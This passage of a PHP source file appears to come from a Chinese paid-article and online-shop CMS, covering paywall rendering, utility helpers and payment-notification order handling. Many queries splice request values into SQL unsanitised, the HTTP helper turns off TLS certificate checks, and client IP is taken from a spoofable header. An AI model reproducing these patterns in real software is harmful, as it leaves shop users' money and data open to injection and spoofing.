			$fh_info="<div class=\"P_address\">[自动发货] 收件邮箱：".getrs("select * from sl_member where M_id=".$_SESSION["M_id"],"M_email")." <a href=\"member/edit.php\" target=\"_balnk\">[编辑]</a></div>";
		}else{

			$sql="select * from sl_address where A_del=0 and A_mid=".$_SESSION["M_id"];
			$result = mysqli_query($conn, $sql);
			
			if (mysqli_num_rows($result) > 0) {
				while($row = mysqli_fetch_assoc($result)) {
					if($row["A_default"]==1){
						$d="checked=\"checked\"";
					}else{
						$d="";
					}
					$fh=$fh."<p><label aa=\"A_address\"><input type=\"radio\" name=\"A_address\" value=\"".$row["A_id"]."\" ".$d."> ".$row["A_address"]." ".$row["A_name"]." ".$row["A_phone"]."</label></p>";
				}
				$fh_info="<div class=\"P_address\">选择收货地址 <a href=\"member/address.php\" target=\"_balnk\">[编辑]</a>：".$fh."  </div>";
			}else{
				$fh_info="<div class=\"P_address\">选择收货地址 <a href=\"member/address.php\" target=\"_balnk\">[新增]</a>：<p><label aa=\"A_address\"><input value=\"0\" type=\"radio\" name=\"A_address\" checked=\"checked\">暂无，请点击新增</label></p> </div>";
			}
		}
	}
	$t = str_Replace("[fh_address]","<style>.P_address{padding:10px;margin:10px 0;border:dashed 1px #DDDDDD;width:100%;border-radius:10px;box-shadow:0px 2px 10px #CCCCCC}</style>".$fh_info,$t);
	return $t;
}

function buynews($color,$N_price,$id){
  global $conn,$C_n_discount,$C_n_discount2,$C_fx1,$C_fx2,$C_fx3;
  $genkey=date('YmdHis').rand(1000,9999);
  $sql="select * from sl_member where M_id=".intval($_SESSION["M_id"]);
    $result = mysqli_query($conn, $sql);
    $row = mysqli_fetch_assoc($result);
    if (mysqli_num_rows($result) > 0) {

      $M_viptime=$row["M_viptime"];
      $M_viplong=$row["M_viplong"];

      if($M_viplong-(time()-strtotime($M_viptime))/86400>0){
      	if($M_viplong>30000){
      		$discount=$C_n_discount2/10;
      	}else{
      		$discount=$C_n_discount/10;
      	}
        
        $fee="<b style=\"color:".$color."\">".round($N_price*$discount,2)."元</b>[<del>原价：".$N_price."元</del>]";
      }else{
        $discount=1;
        $fee="<b style=\"color:".$color."\">".$N_price."元</b>";
      }
    }else{
      $discount=1;
      $fee="<b style=\"color:".$color."\">".$N_price."元</b>";
    }

  $N_long=getrs("select * from sl_news where N_id=".$id,"N_long");
  $N_date=getrs("select * from sl_news where N_id=".$id,"N_date");
  $N_fx=getrs("select * from sl_news where N_id=".$id,"N_fx");
	if($N_long>0){
		$N_longinfo="<br>[限时收费]本文章将在<span style=\"color:$color\">".date("Y-m-d H:i:s",strtotime("+$N_long hour",strtotime($N_date)))."</span>后免费开放阅读";
	}else{
		$N_longinfo="";
	}
  $api=$api."
  <style>
  .fh100_news_box{text-align:center;width:clac(100% - 40px);max-width:600px;margin:0 auto;border-radius:10px;border:dashed 1px ".$color.";padding:20px;box-shadow:0px 2px 10px #CCCCCC;font-size:15px}
  .fh100_news_btn{color:#ffffff !important;background:".$color.";display:inline-block;margin-top:10px;border-radius:10px;border:solid 1px ".$color.";padding:0 10px;font-size:15px}
  .fh100_news_btn:hover{color:".$color." !important;background:#ffffff;border:solid 1px ".$color.";}
  .fh100_qr_buy{display:inline-block;vertical-align:top;width:100px;margin-right:15px;}
  .fh100_qr_buy div{font-size:12px;}
  .fh100_news_buy{display:inline-block}
  .fh100_news_buy a{text-align:center}
  </style>";
  $api=$api."<form action=\"buy.php?type=newsinfo&id=$id\" method=\"post\">
        <div class=\"fh100_news_box\">";
		
        $api=$api."<div class=\"fh100_news_buy\">
        <div>内容仅VIP可见</div>
        <p style=\"font-size:12px;color:#AAAAAA\">如果您已是VIP会员请登录后即可查看</p>
        <input type=\"hidden\" name=\"genkey\" value=\"$genkey\">
        ";


		

        $api=$api."</div>
        </div>
        </form>";

$api=$api."<script>
function news_post(){
	$.post(\"member/unlogin.php?type=checkbuy&id=$id\",
    {
      genkey:\"$genkey\",
    },
  function(data){
  if(data==1){
  	window.location.href=\"./?type=newsinfo&id=$id&genkey=$genkey\";
  }
    });
}
setInterval(\"news_post()\",3000);
</script>";
  return $api;
}

function unlogin_product($class,$id,$genkey='a'){
	global $conn,$C_fx1,$C_fx2,$C_fx3;
	if($genkey=="a"){
		$genkey=date('YmdHis').rand(1000,9999);
	}

	$sql="select * from sl_product where P_id=".intval($id);
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	$P_id=p($row["P_id"]);
	$P_price=p($row["P_price"]);
	$P_unlogin=$row["P_unlogin"];
	$P_fx=$row["P_fx"];
	$P_taobao=$row["P_taobao"];
	$P_code=$row["P_code"];

	if($P_code!=""){
		$unlogin=$unlogin." <div style=\"display:inline-block;vertical-align:top;\" id=\"P_code\"><button class=\"$class\" onclick=\"code()\" type=\"button\">免费兑换</button></div>";
	}

	$unlogin=$unlogin." <button class=\"$class\" onclick=\"addcart()\" type=\"button\" id=\"cart_btn\">加入购物车</button>";

	if(splitx($P_taobao,"|",1)!=""){
		$unlogin=$unlogin." <a class=\"$class\" href=\"".splitx($P_taobao,"|",1)."\" target=\"_blank\">演示地址</a>";
	}

	$info=$unlogin."<input type=\"hidden\" name=\"genkey\" value=\"$genkey\">
	<script>
	function code(){
		$(\"#P_code\").html(\"<input type='text' name='P_code' id='duihuan' placeholder='兑换码' style='border:none;border-bottom:solid 1px #DDDDDD;vertical-align:bottom;height:30px;outline: none;'><button class='$class' onclick='getp()' type='button'>兑换</button>\");
	}
	function getp(){
		$.ajax({
		        type: \"POST\",
		        url: \"conn/f.php?action=getp&id=$P_id\",
		        data: $(\"#buy\").serialize(),
		        success:function(d){
		            if(d==\"success\"){
		              window.location.href=\"member/unlogin.php?genkey=$genkey\";
		            }else{
		              alert(d);
		            }
		       }
		     });
	}
	</script>
	";
	if(splitx($P_taobao,"|",0)==""){
		return $info;
	}else{
		return "<div style=\"display:inline-block;font-size:12px;vertical-align:bottom\">说明：将会跳转到<a href=\"".splitx($P_taobao,"|",0)."\" target=\"_blank\">外部链接</a>购买</div>";
	}
}

function unlogin_product_qr($id,$genkey='a'){
	if($genkey=="a"){
		$genkey=date('YmdHis').rand(1000,9999);
	}
	$info="https://static.websiteonline.cn/website/qr/index.php?url=".urlencode(gethttp().splitx($_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'],"index.php",0)."member/unlogin.php?type=product&id=".$id."&genkey=".$genkey);
	return $info;
}

function getrs($sqlx,$valuex=""){
	global $conn;
	$resultx = mysqli_query($conn,$sqlx);
	$rowx = mysqli_fetch_assoc($resultx);
	if (mysqli_num_rows($resultx) > 0) {
		if($valuex==""){
			return $rowx;
		}else{
			return $rowx[$valuex];
		}
	}else{
		return "";
	}
}

function getlist($sql){
	global $conn;
		$result = mysqli_query($conn, $sql);
		$arr = array();  
		while($row = mysqli_fetch_array($result)) {
		$count=count($row);
		  for($i=0;$i<$count;$i++){ 
		    unset($row[$i]);
		  }   
	    array_push($arr,$row);
	} 
	return $arr;
}

function gen_key($length,$type=1) { 
	switch ($type){
		case 1:
		$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 
		break;
		case 2:
		$chars = '0123456789'; 
		break;
		case 3:
		$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
		break;
		default:
		$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 
	}

	$password = ''; 
	for ( $i = 0; $i < $length; $i++ ) { 
	$password .= $chars[ mt_rand(0, strlen($chars) - 1) ]; 
	} 
	return $password; 
} 

function diffBetweenTwoDays ($day1, $day2)
{
  $second1 = strtotime($day1);
  $second2 = strtotime($day2);

  return round(($second2 - $second1) / 86400,0);
}

function splitx($a,$b,$c){
	$d=explode($b,$a);
	return $d[$c];
}

function GetBody($url, $xml,$method='POST'){    
    $second = 30;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_TIMEOUT, $second);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,false);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_POST, TRUE);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $xml);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
    $data = curl_exec($ch);
    if($data){
      curl_close($ch);
      return $data;
    } else { 
      $error = curl_errno($ch);
      curl_close($ch);
      return false;
    }
}

function isMobile() {
  if (isset($_SERVER['HTTP_X_WAP_PROFILE'])) {
    return true;
  }
  if (isset($_SERVER['HTTP_VIA'])) {
    return stristr($_SERVER['HTTP_VIA'], "wap") ? true : false;
  }
  if (isset($_SERVER['HTTP_USER_AGENT'])) {
    $clientkeywords = array('nokia','sony','ericsson','mot','samsung','htc','sgh','lg','sharp','sie-','philips','panasonic','alcatel','lenovo','iphone','ipod','blackberry','meizu','android','netfront','symbian','ucweb','windowsce','palm','operamini','operamobi','openwave','nexusone','cldc','midp','wap','mobile');
    if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT']))) {
      return true;
    }
  }

  if (isset ($_SERVER['HTTP_ACCEPT'])) {
    if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html')))) {
      return true;
    }
  }
  return false;
}

function isWeixin() {
  if (strpos($_SERVER['HTTP_USER_AGENT'], 'MicroMessenger') !== false) {
    return true;
  } else {
    return false;
  }
}

function getip(){
    static $realip;
    if (isset($_SERVER)){
        if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){
            $realip = $_SERVER["HTTP_X_FORWARDED_FOR"];
        } else if (isset($_SERVER["HTTP_CLIENT_IP"])) {
            $realip = $_SERVER["HTTP_CLIENT_IP"];
        } else {
            $realip = $_SERVER["REMOTE_ADDR"];
        }
    } else {
        if (getenv("HTTP_X_FORWARDED_FOR")){
            $realip = getenv("HTTP_X_FORWARDED_FOR");
        } else if (getenv("HTTP_CLIENT_IP")) {
            $realip = getenv("HTTP_CLIENT_IP");
        } else {
            $realip = getenv("REMOTE_ADDR");
        }
    }
    return $realip;
}

Function DateAdd($part, $n, $date,$type="Y-m-d"){
switch($part){
case "y": $val = date($type, strtotime($date ." +$n year")); break;
case "m": $val = date($type, strtotime($date ." +$n month")); break;
case "w": $val = date($type, strtotime($date ." +$n week")); break;
case "d": $val = date($type, strtotime($date ." +$n day")); break;
case "h": $val = date($type, strtotime($date ." +$n hour")); break;
case "n": $val = date($type, strtotime($date ." +$n minute")); break;
case "s": $val = date($type, strtotime($date ." +$n second")); break;
}
return $val;
}

function box($B_text,$B_url,$B_type){
if ($B_url=="back"){
	echo "<script>alert('".$B_text."');history.back();</script>";
}else{
	echo "<script>alert('".$B_text."');window.location.href='".$B_url."';</script>";
}
die();
}

function geturl(){
	return gethttp().$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
}

function CopyMyFolder($source, $dest){
    if (!file_exists($dest)) mkdir($dest);
    $handle = opendir($source);
    while (($item = readdir($handle)) !== false) {
        if ($item == '.' || $item == '..') continue;
        $_source = $source . '/' . $item;
        $_dest = $dest . '/' . $item;
        if (is_file($_source)) copy($_source, $_dest);
        if (is_dir($_source)) CopyMyFolder($_source, $_dest);
    }
    closedir($handle);
}


function DeleteFolder($path){
    $handle = opendir($path);
    while (($item = readdir($handle)) !== false) {
        if ($item == '.' || $item == '..') continue;
        $_path = $path . '/' . $item;
        if (is_file($_path)) unlink($_path);
        if (is_dir($_path)) DeleteFolder($_path);
    }
    closedir($handle);
    return rmdir($path);
}

function t($str){
	global $conn;
    return mysqli_real_escape_string($conn,$str);
}

function CheckFields($myTable,$myFields){
	global $conn;
	$field = mysqli_query($conn,"Describe ".$myTable." ".$myFields);  
	$field = mysqli_fetch_array($field);  
	if($field[0]){  
		return 1;
	}else{
		return 0;
	}
}

function CheckTables($myTable){
	global $conn;
	$field = mysqli_query($conn,"SHOW TABLES LIKE '". $myTable."'");  
	$field = mysqli_fetch_array($field);  
	if($field[0]){  
		return 1;
	}else{
		return 0;
	}
}

function enname($name){
	if($name=="未登录帐号"){
		return "免登录购买";
	}else{
		return mb_substr($name,0,1,"utf-8")."***";
	}
	
}

function xcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;   
    $key = md5($key ? $key : $GLOBALS['discuz_auth_key']);   
    $keya = md5(substr($key, 0, 16));   
    $keyb = md5(substr($key, 16, 16));   
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length):substr(md5(microtime()), -$ckey_length)) : '';    
    $cryptkey = $keya.md5($keya.$keyc);   
    $key_length = strlen($cryptkey);   
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;   
    $string_length = strlen($string);   
    $result = '';   
    $box = range(0, 255);   
    $rndkey = array();     
    for($i = 0; $i <= 255; $i++) {   
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);   
    }    
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }   
    for($a = $j = $i = 0; $i < $string_length; $i++) {   
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;   
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == 'DECODE') {   
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {   
            return substr($result, 26);   
        } else {   
            return '';   
        }   
    } else { 
        return $keyc.str_replace('=', '', base64_encode($result));   
    }   
}

function removeDir($dirName) 
{ 
    if(! is_dir($dirName)) 
    { 
        return false; 
    } 
    $handle = @opendir($dirName); 
    while(($file = @readdir($handle)) !== false) 
    { 
        if($file != '.' && $file != '..') 
        { 
            $dir = $dirName . '/' . $file; 
            is_dir($dir) ? removeDir($dir) : @unlink($dir); 
        } 
    } 
    closedir($handle); 
      
    return rmdir($dirName) ; 
} 

function notify($no,$type,$id,$genkey,$email,$num,$M_id,$money,$D_domain,$paytype,$no2=''){
	global $conn,$C_n_discount,$C_p_discount,$C_n_discount2,$C_p_discount2,$C_email,$C_fx1,$C_fx2,$C_fx3,$C_fen1,$C_mobile,$C_smssign,$C_dx5,$fmid;
	if($money<0 || $num<1){
		return false;//订单金额错误或数量错误
	}else{
		$sql="select * from sl_member where M_id=".intval($M_id);
	    $result = mysqli_query($conn, $sql);
	    $row = mysqli_fetch_assoc($result);
	    $M_id=$row["M_id"];
	    $M_email=$row["M_email"];
	    $M_money=$row["M_money"];
	    $M_viptime=$row["M_viptime"];
	    $M_viplong=$row["M_viplong"];

	    if($M_viplong-(time()-strtotime($M_viptime))/86400>0){
	        $M_vip=1;
	        if($M_viplong>30000){
	        	$N_discount=$C_n_discount2/10;
	        	$P_discount=$C_p_discount2/10;
	        }else{
	        	$N_discount=$C_n_discount/10;
	        	$P_discount=$C_p_discount/10;
	        }
	    }else{
	        $M_vip=0;
	        $N_discount=1;
	        $P_discount=1;
	    }

		$sql = "select * from sl_list where L_no='" . $no . "'";
	    $result = mysqli_query($conn, $sql);
	    $row = mysqli_fetch_assoc($result);
	    if (mysqli_num_rows($result) <= 0) {
	        
	        if($type=="news"){//文章
				$sql2="select * from sl_news where N_del=0 and N_id=".$id;
				$result2 = mysqli_query($conn, $sql2);
				$row2 = mysqli_fetch_assoc($result2);
				if (mysqli_num_rows($result2) > 0) {
					$N_title=$row2["N_title"];
					$N_pic=$row2["N_pic"];
					$N_price=p($row2["N_price"]*$N_discount);
					$N_price2=round($row2["N_price2"],2);
					$N_mid=$row2["N_mid"];
					$N_fx=$row2["N_fx"];
				}

				if($N_price==$money){
					if($paytype=="余额支付"){
						mysqli_query($conn, "update sl_member set M_money=M_money-$money where M_id=$M_id");
					}else{
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($M_id,'$no','帐号充值','".date('Y-m-d H:i:s')."',".$money.",'$genkey')");
					}
					
					mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey,L_no2) values($M_id,'$no','文章付费阅读','".date('Y-m-d H:i:s')."',-".$money.",'$genkey','$no2')");

					mysqli_query($conn, "update sl_orders set O_state=1 where O_genkey='$genkey'");
					if($N_mid!=$M_id){
						mysqli_query($conn, "update sl_member set M_fen=M_fen+".($money*$C_fen1)." where M_id=$M_id");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey,L_type) values($M_id,'$no','文章付费阅读','".date('Y-m-d H:i:s')."',".($money*$C_fen1).",'$genkey',1)");
					}
					if($N_mid>0){
						mysqli_query($conn, "update sl_member set M_money=M_money+".$money." where M_id=$N_mid");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($N_mid,'".date('YmdHis').rand(10000000,99999999)."','售出文章-".$N_title."','".date('Y-m-d H:i:s')."',$money,'')");
					}else{
						sendmail("有用户通过".$paytype."阅读文章","用户ID：".$M_id."<br>文章名称：".$N_title."<br>订单金额：".$money."元<br>交易单号：".$no,$C_email);
						$_SESSION["time2"]=0;
						if($C_dx5==1){
							sendsms("【".$C_smssign."】有用户通过".$paytype."阅读文章，用户ID：".$M_id."，文章名称：".$N_title."，订单金额：".$money."元，交易单号：".$no,$C_mobile);
						}
					}
					if($fmid>0 && $N_mid==0){//只有主站文章加提成
						if($N_price2-$money>0){
							$N_price2=$money;
						}
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($fmid,'$no','售出文章','".date('Y-m-d H:i:s')."',".$money.",'$genkey')");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($fmid,'$no','扣除成本','".date('Y-m-d H:i:s')."',-".$N_price2.",'$genkey')");
						mysqli_query($conn, "update sl_member set M_money=M_money+".($money-$N_price2)." where M_id=$fmid");
					}
					if($N_fx==1){
						fx($money,$M_id,$N_mid);
					}
					sendmail("查收您的付费阅读文章", "<p>感谢您购买文章《".$N_title."》阅读</p><p>阅读链接：http://".$D_domain."/?type=newsinfo&id=".$id."&genkey=".$genkey."</p><p>订单编号；".$genkey."</p>", getrs("select O_address from sl_orders where O_genkey='$genkey'","O_address"));
				}
	        }

	        if($type=="course"){//课程
	        	$O=getrs("select * from sl_orders where O_genkey='$genkey'");
	        	if($O["O_price"]*$O["O_num"]==$money){
	        		if($paytype=="余额支付"){
						mysqli_query($conn, "update sl_member set M_money=M_money-$money where M_id=$M_id");
					}else{
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($M_id,'$no','帐号充值','".date('Y-m-d H:i:s')."',".$money.",'$genkey')");
					}
					mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey,L_no2) values($M_id,'$no','开通在线课程','".date('Y-m-d H:i:s')."',-".$money.",'$genkey','$no2')");
					mysqli_query($conn, "update sl_orders set O_state=1 where O_genkey='$genkey'");
					if($N_mid!=$M_id){
						mysqli_query($conn, "update sl_member set M_fen=M_fen+".($money*$C_fen1)." where M_id=$M_id");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey,L_type) values($M_id,'$no','开通在线课程','".date('Y-m-d H:i:s')."',".($money*$C_fen1).",'$genkey',1)");
					}
					sendmail("有用户通过".$paytype."购买课程","用户ID：".$M_id."<br>课程名称：".$O["O_title"]."<br>订单金额：".$money."元<br>交易单号：".$no,$C_email);
					if($C_dx5==1){
						sendsms("【".$C_smssign."】有用户通过".$paytype."购买课程，用户ID：".$M_id."，课程名称：".$O["O_title"]."，订单金额：".$money."元，交易单号：".$no,$C_mobile);
					}
	        	}
	        }

	        if($type=="product"){//商品
				$sql2="select * from sl_product where P_del=0 and P_id=".$id;
				$result2 = mysqli_query($conn, $sql2);
				$row2 = mysqli_fetch_assoc($result2);
				if (mysqli_num_rows($result2) > 0) {
					$P_title=$row2["P_title"];
					$P_pic=$row2["P_pic"];
					$P_sell=$row2["P_sell"];
					$P_selltype=$row2["P_selltype"];
					$P_ggsell=$row2["P_ggsell"];
					$P_gg=$row2["P_gg"];
					if($row2["P_vip"]==1){
						$P_price=p($row2["P_price"]*$P_discount);
						$P_price2=round($row2["P_price2"],2);
					}else{
						$P_price=p($row2["P_price"]);
						$P_price2=round($row2["P_price2"],2);
					}
					
					$P_mid=$row2["P_mid"];
					$P_fx=$row2["P_fx"];
				}

				$O=getrs("select * from sl_orders where O_genkey='$genkey'");
				if(round($O["O_price"]*$num-$O["O_quan"]+$O["O_postage"],2)==round($money,2)){//验证订单金额
					if($P_ggsell=="" || $O["O_gg"]=="标配" || $O["O_gg"]==""){//如果没有设置各项发货
						switch($P_selltype){
						  	case 0:
						  		$O_content=$P_sell;
						  		$O_address=$O["O_address"];
						  		$O_state=1;
						  		$O_html=0;
						  	break;
						  	case 1:
						  		for($i=0;$i<$num;$i++){
									$C_id=getrs("select * from sl_card where C_del=0 and C_use=0 and C_sort=".intval($P_sell),"C_id");
									$C_content=getrs("select * from sl_card where C_id=".intval($C_id),"C_content");
									if($C_content==""){
										$O_content=$O_content."商品缺货，请联系客服||";
									}else{
										$O_content=$O_content.$C_content."||";
									}
									mysqli_query($conn,"update sl_card set C_use=1 where C_id=".intval($C_id));
								}
								$O_content=substr($O_content,0,strlen($O_content)-2);
								$O_address=$O["O_address"];
								$O_state=1;

						  	break;
						  	case 2:
						  		mysqli_query($conn,"update sl_product set P_rest=P_rest-$num where P_id=".$id);
						  		$O_content="实物商品，由商家手动发货";
						  		$O_address=$O["O_address"];
						  		$O_state=2;
						  		$O_html=0;
						  	break;
						}
					}else{//单项发货
						$O_gg=splitx($O["O_gg"],"|",0);
						$gg=splitx(splitx($P_gg,"@",0),"_",1);
						$gg=explode("|",$gg);
						for($z=0;$z<count($gg);$z++){
							if($O_gg==$gg[$z]){
								switch(splitx(splitx($P_ggsell,"\n",$z),"|",0)){
								  	case 0:
								  		$O_content=splitx(splitx($P_ggsell,"\n",$z),"|",1);
								  		$O_address=$O["O_address"];
								  		$O_state=1;
								  		$O_html=0;
								  	break;
								  	case 1:
								  		for($i=0;$i<$num;$i++){
											$C_id=getrs("select * from sl_card where C_del=0 and C_use=0 and C_sort=".intval(splitx(splitx($P_ggsell,"\n",$z),"|",1)),"C_id");
											$C_content=getrs("select * from sl_card where C_id=".intval($C_id),"C_content");
											if($C_content==""){
												$O_content=$O_content."商品缺货，请联系客服||";
											}else{
												$O_content=$O_content.$C_content."||";
											}
											mysqli_query($conn,"update sl_card set C_use=1 where C_id=".intval($C_id));
										}
										$O_content=substr($O_content,0,strlen($O_content)-2);
										$O_address=$O["O_address"];
										$O_state=1;
								  	break;
								  	case 2:
								  		mysqli_query($conn,"update sl_product set P_rest=P_rest-$num where P_id=".$id);
								  		$O_content="实物商品，由商家手动发货";
								  		$O_address=$O["O_address"];
								  		$O_state=2;
								  		$O_html=0;
								  	break;
								}
							}
						}
					}

					$OX=explode("|",$O["O_title"]."|".$O["O_gg"]);
					for($i=0;$i<count($OX);$i++){
						if(strpos($OX[$i],"个月")!==false){
							$long=intval(splitx($OX[$i],"个月",0));
							if($long>0){
								mysqli_query($conn, "update sl_orders set O_time2='".date('Y-m-d H:i:s',strtotime('+'.$long.' month'))."',O_today='".date('Y-m-d H:i:s')."' where O_genkey='$genkey'");
							}
						}
						if(strpos($OX[$i],"年")!==false){
							$long=intval(splitx($OX[$i],"年",0));
							if($long>0){
								mysqli_query($conn, "update sl_orders set O_time2='".date('Y-m-d H:i:s',strtotime('+'.$long.' year'))."',O_today='".date('Y-m-d H:i:s')."' where O_genkey='$genkey'");
							}
						}
						if(strpos($OX[$i],"天")!==false){
							$long=intval(splitx($OX[$i],"天",0));
							if($long>0){
								mysqli_query($conn, "update sl_orders set O_time2='".date('Y-m-d H:i:s',strtotime('+'.$long.' day'))."',O_today='".date('Y-m-d H:i:s')."' where O_genkey='$genkey'");
							}
						}
					}
				
					mysqli_query($conn, "update sl_product set P_sold=P_sold+$num where P_id=".$id);
					if($paytype=="余额支付"){
						mysqli_query($conn, "update sl_member set M_money=M_money-$money where M_id=$M_id");
					}else{
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($M_id,'$no','帐号充值','".date('Y-m-d H:i:s')."',".$money.",'$genkey')");
					}
					if($P_mid!=$M_id){
						mysqli_query($conn, "update sl_member set M_fen=M_fen+".($money*$C_fen1)." where M_id=$M_id");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey,L_type) values($M_id,'$no','购买商品','".date('Y-m-d H:i:s')."',".($money*$C_fen1).",'$genkey',1)");
					}
					
					mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey,L_no2) values($M_id,'$no','购买商品','".date('Y-m-d H:i:s')."',-".$money.",'$genkey','$no2')");
					//mysqli_query($conn, "insert into sl_orders(O_pid,O_mid,O_time,O_type,O_price,O_num,O_content,O_title,O_pic,O_address,O_state,O_genkey,O_sellmid) values($id,$M_id,'".date('Y-m-d H:i:s')."',0,$P_price,$num,'$O_content','$P_title','$P_pic','$O_address',$O_state,'$genkey',$P_mid)");
					//
					mysqli_query($conn, "update sl_orders set O_state=$O_state,O_content='$O_content' where O_genkey='$genkey'");

					if($fmid>0 && $P_mid==0){//只有主站商品加提成
						if($P_price2*$num-$money>0){
							$P_price2=$money/$num;
						}
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($fmid,'$no','售出商品','".date('Y-m-d H:i:s')."',".$money.",'$genkey')");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($fmid,'$no','扣除成本','".date('Y-m-d H:i:s')."',-".($money*$P_price2/$P_price).",'$genkey')");
						mysqli_query($conn, "update sl_member set M_money=M_money+".($money-($money*$P_price2/$P_price))." where M_id=$fmid");
					}

					if($P_mid>0){
						$M=getrs("select * from sl_member where M_id=$P_mid");
						mysqli_query($conn, "update sl_member set M_money=M_money+".$money." where M_id=$P_mid");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($P_mid,'".date('YmdHis').rand(10000000,99999999)."','售出商品-".$P_title."','".date('Y-m-d H:i:s')."',$money,'')");
						sendmail("有用户通过".$paytype."购物","用户ID：".$M_id."<br>商品名称：".$P_title."<br>订单金额：".$money."元<br>交易单号：".$no,$M["M_email"]);
						$_SESSION["time2"]=0;
						if($C_dx5==1){
							sendsms("【".$C_smssign."】您的商品已售出，请登录会员中心查看，单号：".$no,$M["M_mobile"]);
						}
					}else{
						sendmail("有用户通过".$paytype."购物","用户ID：".$M_id."<br>商品名称：".$P_title."<br>订单金额：".$money."元<br>交易单号：".$no,$C_email);
						$_SESSION["time2"]=0;
						if($C_dx5==1){
							sendsms("【".$C_smssign."】有用户通过".$paytype."购物，请登录后台查看，交易单号：".$no,$C_mobile);
						}
					}

					if($P_fx==1){
						fx($money,$M_id,$P_mid);
					}
					
					if(checkauth()){
						plug("x4","../../conn/plug/");
						require "../../conn/plug/x4.php";
					}
					if(strpos(splitx($O_address,"__",0),"@")!==false && strpos(splitx($O_address,"__",0),".")!==false){
						sendmail("您的购买的商品已发货","<p>商品名称：".$P_title."</p><p>发货内容：".$O_content."</p><p>订单编号：".$no."</p>",splitx($O_address,"__",0));
					}
				}
				
	        }
		    return true;
	    }else{
	    	return false;
	    }
	}
}


function fx($money,$M_id,$P_mid){
	global $C_fx1,$C_fx2,$C_fx3,$conn;
	$genkey=date('YmdHis').rand(1000,9999);

	if(checkauth()){
		plug("x2","../../conn/plug/");
		require "../../conn/plug/x2.php";
	}
}
function fx_vip($money,$M_id,$P_mid){
	global $C_fx1,$C_fx2,$C_fx3,$conn;
	$genkey=date('YmdHis').rand(1000,9999);

	if(checkauth()){
		plug("x2","../conn/plug/");
		require "../conn/plug/x2.php";
	}
}
function removexss($val) {
    $val = preg_replace ( '/([\x00-\x08\x0b-\x0c\x0e-\x19])/', '', $val );

    $search = 'abcdefghijklmnopqrstuvwxyz';
    $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $search .= '1234567890!@#$%^&*()';
    $search .= '~`";:?+/={}[]-_|\'\\';
    for($i = 0; $i < strlen ( $search ); $i ++) {

        $val = preg_replace ( '/(&#[xX]0{0,8}' . dechex ( ord ( $search [$i] ) ) . ';?)/i', $search [$i], $val );

        $val = preg_replace ( '/(&#0{0,8}' . ord ( $search [$i] ) . ';?)/', $search [$i], $val );
    }

    $ra1 = array (
        'javascript',
        'vbscript',
        'expression',
        'applet',
        'meta',
        'xml',
        'blink',
        'script',
        'object',
        'iframe',
        'frame',
        'frameset',
        'ilayer',
        'bgsound'
    );
    $ra2 = array (
        'onabort',
        'onactivate',
        'onafterprint',
        'onafterupdate',
        'onbeforeactivate',
